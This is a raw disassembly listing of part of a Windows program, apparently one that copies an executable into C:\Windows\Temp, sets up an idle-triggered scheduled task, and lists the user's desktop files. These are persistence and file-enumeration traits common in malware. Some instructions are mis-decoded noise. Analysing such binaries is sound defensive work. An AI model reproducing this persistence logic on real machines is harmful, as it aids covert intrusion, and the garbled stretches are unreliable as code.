mov r12, r13
add r12, 0x20
jb 0x14000ce6d
lea rax, [r13*2]
cmp rax, r12
cmova r12, rax
test r13, r13
je 0x14000d24c
mov rax, qword [rbp + 0x7e8]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x370], r13
mov eax, 1
jmp 0x14000d24e
lea rcx, [rbp + 0x510]
lea rdx, [rbp + 0x7e0]
call fcn.140001f30
test rax, rax
jne 0x14000d63c
test rdx, rdx
je 0x14000d417
mov r12, qword [rbp + 0x7e0]
mov r13, qword [rbp + 0x7f0]
lea rbx, [0x140114278]
sub r12, r13
je 0x14000d1b8
mov r14, qword [rbp + 0x7e8]
jmp 0x14000d29b
xor eax, eax
mov rdx, r12
not rdx
shr rdx, 0x3f
mov qword [rbp + 0x368], rax
lea rcx, [rbp + 0x1d8]
mov r8, r12
lea r9, [rbp + 0x360]
call fcn.140006b70
cmp qword [rbp + 0x1d8], 0
jne 0x14000ce6d
mov r14, qword [rbp + 0x1e0]
mov qword [rbp + 0x7e8], r14
mov qword [rbp + 0x7e0], r12
sub r12, r13
cmp r12, rdi
mov rbx, rdi
cmovb rbx, r12
fmul qword [rcx - 0x77]
fmul dword [rbp + 0x29]
clc
jb 0x14000fde1
add r14, r13
add r15, r14
mov rcx, r15
xor edx, edx
call fcn.140106cb0
lea r15, [rbp + 0x510]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.1400c77f0
test rax, rax
je 0x14000d3d0
test rdx, rdx
lea r13, [0x140176214]
je 0x14000d417
mov eax, edx
and eax, 3
lea rcx, [0x140176204]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rdx + 0xf], 0x23
jne case.0x14000d3b5.2
mov qword [rbp + 0x8d0], rdi
mov r15, rdx
dec r15
mov r13, qword [rdx - 1]
mov rdi, qword [rdx + 7]
mov edi, dword [rdx + 7]
mov rcx, r13
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14000d377
cmp qword [rdi + 0x10], 0x11
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
jb 0x14000d344
nop dword [rax]
mov r13, qword [r13 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call rdi
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call rdi
mov rdi, qword [rbp + 0x8d0]
lea r15, [rbp + 0x510]
lea r13, [0x140176214]
sub eax, 0x168e9f
sub eax, 0x168e9f
jmp 0x14000d390
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d352
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
jne case.0x14000d3b5.2
mov rcx, r15
mov rdx, r14
mov r8, rbx
call fcn.1400c77f0
test rax, rax
je 0x14000d3d0
test rdx, rdx
je 0x14000d417
outsd dx, dword [rsi]
outsd dx, dword [rsi]
mov eax, edx
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x14000d390
jmp case.0x14000d3b5.2
cmp rbx, rdx
jb 0x14000ff1b
test rdx, rdx
je 0x14000d417
mov r13, qword [rbp + 0x7f0]
add r13, rdx
lea rax, [rdi + rdi]
test rdi, rdi
mov rcx, 0xffffffffffffffff
cmovs rax, rcx
sub rbx, rdx
mov qword [rbp + 0x7f0], r13
cmovne rax, rdi
cmp r12, rdi
cmovae rdi, rax
mov r15, rbx
jmp 0x14000d199
mov r12, qword [rbp + 0x7e0]
mov r15, qword [rbp + 0x7e8]
mov r13, qword [rbp + 0x7f0]
lea rcx, [rbp + 0x510]
call fcn.140003470
cmp dword [rbp + 0xa0], 3
jne 0x14000d557
mov rsi, qword [rbp + 0xa8]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
mov r14, qword [rbp + 0x778]
je 0x14000d489
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000d489
cmp qword [rbx + 0x10], 0x11
jb 0x14000d477
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000d4a7
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rbx, [0x140114278]
movabs rax, 0x8000000000000000
cmp r12, rax
je 0x14000d578
mov qword [rbp + 0x7d8], r15
movdqu xmm0, xmmword [0x140116224]
movdqa xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x1d8], 0
lea rcx, [rbp + 0x360]
lea r15, [rbp + 0x1d8]
xor edx, edx
xor r8d, r8d
mov r9, r15
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [rbp + 0x1d8]
test eax, eax
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x8d0], r13
je 0x14000d644
call qword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x14000d6a5
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test r15, r15
dec dword [rdi]
test dword [rdx - 0x10], edx
invalid
invalid
jmp 0x14000c5b6
mov r14, qword [rbp + 0x778]
lea rbx, [0x140114278]
movabs rax, 0x8000000000000000
cmp r12, rax
jne 0x14000d4d3
mov ecx, 5
call fcn.1400d5aa0
cmp qword [rbp + 0x768], 0
je 0x14000bd16
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x8b8]
test dword [rax - 0xfffff8], edi
adc eax, 0x105dba
test dword [rax - 0xfffff8], edi
adc eax, 0x105dba
jmp 0x14000bd16
mov rsi, rdx
lea rbx, [0x140114278]
jmp 0x14000ce6d
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14000d5c8
call fcn.140069420
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x14000d5d8
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x890]
cmp qword [rsi], 0
je 0x14000d60a
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [r14]
lea rbx, [0x140114278]
jmp 0x14000bd7b
shl r9, 1
test r9, r9
je 0x14000bd16
jmp 0x14000d590
mov rsi, rdx
jmp 0x14000ce6d
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x1d8]
lea rcx, [rbp + 0x510]
call fcn.1400d7a00
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rbp + 0x510]
movdqu xmm0, xmmword [rbp + 0x518]
movdqa xmmword [rbp + 0x800], xmm0
mov rcx, qword [rbp + 0x528]
mov qword [rbp + 0x810], rcx
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000de11
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
lea rcx, [rbp + 0x510]
call fcn.1400de590
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x48]
test rsi, rsi
jne 0x14000d70a
call fcn.14004a290
test rax, rax
je 0x140010177
mov rsi, qword [rax]
inc qword [rsi]
je 0x1400104c7
lea rdi, [rsi + 0x10]
lea rbx, [rsi + 0x120]
mov rax, qword [rsi + 0x110]
jmp 0x14000d752
mov rcx, rbx
mov rdx, rdi
call fcn.140004510
xor ecx, ecx
lea rax, [rcx + 1]
test dword [rsi + rcx*4 + 0x10], 0x40000000
mov qword [rsi + 0x110], rax
je 0x14000d78b
mov rcx, rax
cmp rax, 0x40
jb 0x14000d73d
mov rax, qword [rsi + 0x158]
test rax, rax
jle 0x14000d730
cmp qword [rsi + 0x160], 0
js 0x14000d730
add rax, 0xffffffffffffff00
mov qword [rsi + 0x158], rax
mov rcx, rbx
mov rdx, rdi
call fcn.14004a630
jmp 0x14000d73b
dec qword [rsi]
jne 0x14000d7a8
dec qword [rsi + 8]
jne 0x14000d7a8
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x360]
call fcn.140007240
mov rdi, qword [rbp + 0x360]
mov rsi, qword [rbp + 0x368]
cmp rdi, 3
je 0x140010024
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x1e8]
mov r8d, 0xb0
call fcn.140106530
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x1e0], rsi
lea rcx, [rbp + 0xa0]
lea rdi, [rbp + 0x1d8]
mov rdx, rdi
call fcn.140007470
mov rax, qword [rbp + 0xa0]
mov rsi, qword [rbp + 0xa8]
test rax, rax
je 0x140010024
movdqu xmm0, xmmword [rbp + 0xb0]
movdqu xmm1, xmmword [rbp + 0xc0]
movdqu xmmword [rbp + 0x7a0], xmm1
movdqu xmmword [rbp + 0x790], xmm0
mov qword [rbp + 0x780], rax
mov qword [rbp + 0x788], rsi
lea rcx, [rbp + 0x780]
call fcn.140009d30
test rax, rax
je 0x140010065
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x360]
call fcn.1400192c0
cmp byte [rbp + 0x360], 0
jne 0x140010071
mov ecx, 3
call fcn.1400d5aa0
lea rcx, [rbp + 0x360]
call fcn.140007240
mov rbx, qword [rbp + 0x360]
mov rsi, qword [rbp + 0x368]
cmp rbx, 3
je 0x140010018
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x520]
mov r8d, 0xb0
call fcn.140106530
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], rsi
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x510]
call fcn.140007470
mov rax, qword [rbp + 0xa0]
mov rsi, qword [rbp + 0xa8]
test rax, rax
je 0x140010018
movdqu xmm0, xmmword [rbp + 0xb0]
movdqu xmm1, xmmword [rbp + 0xc0]
movdqu xmmword [rbp + 0x820], xmm1
movdqu xmmword [rbp + 0x810], xmm0
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x808], rsi
lea rcx, [rbp + 0x800]
call fcn.140009d30
test rax, rax
je 0x140010087
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x360]
call fcn.1400192c0
cmp byte [rbp + 0x360], 0
jne 0x140010093
lea rsi, [rbp + 0x800]
mov rcx, rsi
call fcn.1400025e0
lea rcx, [rbp + 0x780]
call fcn.1400025e0
lea rcx, [rbp + 0x510]
call fcn.1400da990
mov r13, qword [rbp + 0x510]
mov r15, qword [rbp + 0x518]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x14000d9e9
mov r12, qword [rbp + 0x520]
lea rcx, str.C:WindowsTempFailed_to_extract_file_nameCopied_executable_to:
mov edx, 0xf
call case.0x1400d7dc5.178
mov rbx, rax
test rax, rax
je 0x14000e012
test r13, r13
je 0x14000d9e6
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, rbx
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x14000da3c
lea rdi, [r15 - 1]
mov rbx, qword [r15 - 1]
mov r14, qword [r15 + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14000da2a
cmp qword [r14 + 0x10], 0x11
jb 0x14000da18
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.idletrigger
mov qword [rbp + 0x510], rax
lea rax, [0x1401142f3]
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rbx, [rbp + 0x1d8]
lea rdx, [rbp + 0x510]
mov rcx, rbx
call fcn.140100800
mov r14, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
test rdx, rdx
je 0x14000ddd1
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rdi, rax
cmp qword [rbp + 0x1d8], 0
je 0x14000dab6
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x800], 0xb4
mov qword [rbp + 0x1d8], rsi
lea r12, [fcn.140012cc0]
mov qword [rbp + 0x1e0], r12
lea r13, [0x140173868]
mov qword [rbp + 0x510], r13
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rbx
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x780]
lea rdx, [rbp + 0x510]
call fcn.140010f70
mov r15, qword [rbp + 0x788]
mov rax, qword [rbp + 0x790]
add rax, r15
mov qword [rbp + 0x510], r15
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rdx, [rbp + 0x510]
mov rcx, rbx
call fcn.140100800
mov r14, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
test rdx, rdx
je 0x14000dde6
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rsi, rax
cmp qword [rbp + 0x1d8], 0
je 0x14000db95
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x780], 0
je 0x14000dbb1
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x330], 0x258
lea rax, [rbp + 0x330]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x510], r13
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rbx
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140010f70
mov rbx, qword [rbp + 0x808]
mov rax, qword [rbp + 0x810]
add rax, rbx
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x1d8]
lea rdx, [rbp + 0x510]
call fcn.140100800
mov r14, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
test rdx, rdx
je 0x14000ddfb
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r15, rax
cmp qword [rbp + 0x1d8], 0
je 0x14000dc8d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x800], 0
je 0x14000dca9
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rsi
mov word [rbp + 0xb8], 1
mov qword [rbp + 0xb0], r15
lea rcx, [rbp + 0x510]
call fcn.1400da990
mov r14, qword [rbp + 0x510]
movabs rax, 0x8000000000000000
cmp r14, rax
je 0x1400100cb
mov rsi, qword [rbp + 0x518]
mov rdx, qword [rbp + 0x520]
mov rcx, rsi
call fcn.1400df190
test rax, rax
je 0x140010104
mov rdi, rax
mov r13, rdx
test rdx, rdx
je 0x14000e8b6
mov r15, r13
add r15, rdi
xor r12d, r12d
mov rcx, rdi
jmp 0x14000dd4f
add rcx, 2
cmp rax, r15
cmovne rax, rcx
mov edx, 2
nop dword [rax]
add r12, rdx
mov rcx, rax
cmp rax, r15
je 0x14000e8b6
lea rax, [rcx + 1]
movzx r8d, byte [rcx]
mov edx, 1
test r8b, r8b
jns 0x14000dd40
cmp r8b, 0xe0
jb 0x14000dd29
cmp r8b, 0xed
jne 0x14000dd9b
cmp rax, r15
je 0x14000e8b6
lea rax, [rcx + 2]
cmp rax, r15
je 0x14000e8b6
cmp byte [rcx + 1], 0x9f
ja 0x14000e166
add rcx, 3
mov edx, 3
mov rax, rcx
jmp 0x14000dd40
add rcx, 2
cmp rax, r15
cmove rcx, rax
xor eax, eax
cmp rcx, r15
setne al
add rax, rcx
mov edx, 3
cmp r8b, 0xf0
jb 0x14000dd40
xor ecx, ecx
cmp rax, r15
setne cl
add rax, rcx
mov edx, 4
jmp 0x14000dd40
xor edi, edi
cmp qword [rbp + 0x1d8], 0
jne 0x14000daa4
jmp 0x14000dab6
xor esi, esi
cmp qword [rbp + 0x1d8], 0
jne 0x14000db83
jmp 0x14000db95
xor r15d, r15d
cmp qword [rbp + 0x1d8], 0
jne 0x14000dc7b
jmp 0x14000dc8d
mov qword [rbp + 0x360], rax
movdqa xmm0, xmmword [rbp + 0x800]
movdqu xmmword [rbp + 0x368], xmm0
mov rax, qword [rbp + 0x810]
mov qword [rbp + 0x378], rax
lea rdx, [0x1401143f6]
lea rcx, [rbp + 0x360]
mov r8d, 7
call case.0x1400733b1.1187
mov rdx, qword [rbp + 0x368]
mov r8, qword [rbp + 0x370]
lea rcx, [rbp + 0x510]
call fcn.140014300
cmp qword [rbp + 0x510], 0
jne 0x14001038a
mov r12, qword [rbp + 0x520]
test r12, r12
je 0x14000e089
js 0x140010172
mov rsi, qword [rbp + 0x518]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400df910
test rax, rax
je 0x140010396
mov qword [rbp + 0x8d8], rax
mov rcx, rax
mov rdx, rsi
mov r8, r12
call fcn.140106530
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400df910
test rax, rax
je 0x1400103a3
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, r12
call fcn.140106530
mov qword [rbp + 0x510], r12
mov qword [rbp + 0x518], rdi
mov qword [rbp + 0x520], r12
mov byte [rbp + 0x528], 0
lea rdx, [0x14014b170]
lea rcx, [rbp + 0x510]
mov r8d, 1
call case.0x1400733b1.1187
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x8c8], rax
mov rdx, qword [rbp + 0x518]
mov r8, qword [rbp + 0x520]
mov byte [rbp + 0x8e5], 1
lea rcx, [rbp + 0x1d8]
mov qword [rbp + 0x8b0], rdx
call fcn.1400d9730
mov rax, qword [rbp + 0x1d8]
mov r13, qword [rbp + 0x1e0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000dfcd
mov rcx, qword [rbp + 0x1e8]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], r13
mov qword [rbp + 0x520], rcx
mov byte [rbp + 0x8e5], 1
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x510]
call fcn.1400dae90
mov rsi, qword [rbp + 0xa0]
mov r13, qword [rbp + 0xa8]
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x14000e454
cmp qword [rbp + 0x8c8], 0
lea rsi, [rbp + 0xa0]
mov rdi, qword [rbp + 0x8d8]
je 0x14000dffb
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x8b0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000e09a
mov rcx, r15
mov rdx, r12
call fcn.1400df190
test rax, rax
je 0x14000e159
mov r8, rdx
lea r14, [rbp + 0x360]
mov rcx, r14
mov rdx, rax
call fcn.1400df340
mov r8, qword [rbp + 0x368]
mov r9, qword [rbp + 0x370]
mov rcx, r15
mov rdx, r12
call fcn.1400e3700
test rax, rax
je 0x14000e3af
mov rbx, rdx
cmp qword [rbp + 0x360], 0
je 0x14000d9cf
mov r8, qword [rbp + 0x368]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d9cf
movabs r13, 0x300000002
lea rsi, [rbp + 0xa0]
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0x1d8], rsi
lea rax, [fcn.1400da120]
mov qword [rbp + 0x1e0], rax
lea rax, str.Unable_to_read_the_users_desktop_file_list:
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de590
mov rax, qword [rbp + 0xa0]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14000e7c1
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000e142
cmp qword [rbx + 0x10], 0x11
jb 0x14000e130
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000e7c1
call fcn.140002080
mov rbx, rax
jmp 0x14000d9cf
test r13, r13
js 0x140010172
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r13
call fcn.1400df910
test rax, rax
je 0x1400101aa
mov qword [rbp + 0x510], r13
mov qword [rbp + 0x518], rax
mov rbx, r13
sub rbx, r12
jb 0x1400103da
mov rcx, rax
mov rdx, rdi
mov r8, r12
mov qword [rbp + 0x8d8], rax
call fcn.140106530
mov rcx, qword [rbp + 0x8d8]
mov qword [rbp + 0x520], r12
mov r10, r12
cmp rbx, 2
ja 0x14000e1f2
lea rcx, [rbp + 0x510]
mov r8d, 3
mov rdx, r12
call fcn.1401103f0
mov rcx, qword [rbp + 0x518]
mov r10, qword [rbp + 0x520]
lea rax, [rcx + r10]
lea r11, [rbp + 0x510]
mov byte [rax + 2], 0xbd
mov word [rax], 0xbfef
add r10, 3
mov qword [rbp + 0x520], r10
mov rbx, r12
add rbx, 3
cmp rbx, r13
ja 0x1400103c3
je 0x14000e84d
lea r9, [rdi + rbx]
mov r12, rbx
mov qword [rbp + 0x8c0], r9
jmp 0x14000e256
add r9, 2
cmp rax, r15
cmovne rax, r9
mov edx, 2
add r12, rdx
mov r9, rax
cmp rax, r15
je 0x14000e850
lea rax, [r9 + 1]
movzx r8d, byte [r9]
mov edx, 1
test r8b, r8b
jns 0x14000e247
cmp r8b, 0xe0
jb 0x14000e237
cmp r8b, 0xed
jne 0x14000e29f
cmp rax, r15
je 0x14000e850
lea rax, [r9 + 2]
cmp rax, r15
je 0x14000e850
cmp byte [r9 + 1], 0x9f
ja 0x14000e2d5
add r9, 3
mov edx, 3
mov rax, r9
jmp 0x14000e247
add r9, 2
cmp rax, r15
cmove r9, rax
xor eax, eax
cmp r9, r15
setne al
add rax, r9
mov edx, 3
cmp r8b, 0xf0
jb 0x14000e247
xor edx, edx
cmp rax, r15
setne dl
add rax, rdx
mov edx, 4
jmp 0x14000e247
mov r8, r12
sub r8, rbx
jb 0x1400104a1
cmp r12, r13
ja 0x1400104b5
mov rdx, qword [rbp + 0x510]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x14000e32b
mov rcx, r11
mov rdx, r10
mov rbx, r8
call fcn.1401103f0
mov r10, qword [rbp + 0x520]
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x8b0], rax
mov rcx, qword [rbp + 0x518]
mov r8, rbx
jmp 0x14000e332
mov qword [rbp + 0x8b0], rdx
mov qword [rbp + 0x8c8], r10
mov qword [rbp + 0x8d8], rcx
add rcx, r10
mov rdx, qword [rbp + 0x8c0]
mov rbx, r8
call fcn.140106530
mov r10, qword [rbp + 0x8c8]
add r10, rbx
mov qword [rbp + 0x520], r10
mov rax, qword [rbp + 0x8b0]
sub rax, r10
cmp rax, 2
ja 0x14000e398
mov r8d, 3
lea rcx, [rbp + 0x510]
mov rdx, r10
call fcn.1401103f0
mov rcx, qword [rbp + 0x518]
mov r10, qword [rbp + 0x520]
jmp 0x14000e39f
mov rcx, qword [rbp + 0x8d8]
lea r11, [rbp + 0x510]
lea rax, [rcx + r10]
jmp 0x14000e1fd
mov qword [rbp + 0x1d8], r14
lea rax, [0x1400da2f0]
mov qword [rbp + 0x1e0], rax
lea rax, [0x1401142c8]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rdi
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de310
cmp qword [rbp + 0x360], 0
je 0x14000e426
mov r8, qword [rbp + 0x368]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14000e43d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
xor r15d, r15d
mov eax, r15d
and eax, 3
cmp eax, 1
je 0x14000d9f4
jmp 0x14000da3c
lea rbx, [rbp + 0x510]
mov r8d, 0x250
mov rcx, rbx
xor edx, edx
call fcn.140106cb0
mov rcx, r13
mov rdx, rbx
call qword [sym.imp.kernel32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x14000e51c
mov qword [rbp + 0x8a0], rsi
mov qword [rbp + 0x8a8], rax
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14001046a
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r12
mov rax, qword [rbp + 0x8d8]
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], r12
mov byte [r15 + 0x28], 0
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x8c0], rax
movzx r14d, word [rbp + 0x53c]
movzx esi, word [rbp + 0x53e]
movzx edi, word [rbp + 0x540]
cmp qword [rbp + 0x8a0], 0
je 0x14000e515
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov ebx, 1
jmp 0x14000e595
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
jne 0x14000e7ea
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140010482
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r12
mov rax, qword [rbp + 0x8d8]
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], r12
mov byte [r15 + 0x28], 0
test rsi, rsi
je 0x14000e588
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebx, ebx
mov qword [rbp + 0x8a8], 0xffffffffffffffff
cmp qword [rbp + 0x8c8], 0
je 0x14000e5b5
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x8b0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r14w, 0x2e
sete al
test si, si
sete cl
xor esi, 0x2e
or si, di
sete dl
or dl, cl
and dl, al
mov byte [rbp + 0x8d8], dl
lea r12, [rbp + 0x510]
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
xor edi, edi
jmp 0x14000e614
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
dec r13
mov rcx, qword [0x140182260]
xor ebx, ebx
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, rsi
mov rsi, qword [rbp + 0x8a8]
cmp rsi, 0xffffffffffffffff
je 0x14000e73c
cmp ebx, 1
setne al
or al, byte [rbp + 0x8d8]
je 0x14000e6c9
mov r8d, 0x250
mov rcx, r12
xor edx, edx
call fcn.140106cb0
mov rcx, rsi
mov rdx, r12
call r14
test eax, eax
mov rbx, qword [sym.imp.kernel32.dll_GetLastError]
jne 0x14000e68d
call rbx
cmp eax, 0x12
je 0x14000e73e
call rbx
mov r13d, eax
shl r13, 0x20
or r13, 2
xor ecx, ecx
jmp 0x14000e6dd
mov rcx, rsi
mov rdx, r12
call r14
test eax, eax
je 0x14000e65b
cmp word [rbp + 0x53c], 0x2e
jne 0x14000e6b3
movzx eax, word [rbp + 0x53e]
test ax, ax
je 0x14000e680
cmp ax, 0x2e
jne 0x14000e6b3
cmp word [rbp + 0x540], 0
je 0x14000e680
lock inc qword [r15]
jle 0x1400104c7
mov r13, qword [rbp + 0x510]
mov rcx, r15
jmp 0x14000e6dd
lock inc qword [r15]
mov rcx, r15
mov r13, qword [rbp + 0x8c0]
jle 0x1400104c7
inc rdi
test rcx, rcx
je 0x14000e6fb
xor ebx, ebx
lock dec qword [rcx]
jne 0x14000e61b
call fcn.140006aa0
jmp 0x14000e61b
mov eax, r13d
and eax, 3
xor ebx, ebx
cmp eax, 1
jne 0x14000e61b
mov rsi, r15
mov rbx, qword [r13 - 1]
mov r15, qword [r13 + 7]
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14000e5fa
cmp qword [r15 + 0x10], 0x11
jb 0x14000e5e8
mov rbx, qword [rbx - 8]
jmp 0x14000e5e8
xor edi, edi
mov rcx, rsi
call qword [sym.imp.kernel32.dll_FindClose]
lock dec qword [r15]
lea rsi, [rbp + 0x1d8]
jne 0x14000e75c
mov rcx, r15
call fcn.140006aa0
mov qword [rbp + 0xa0], rdi
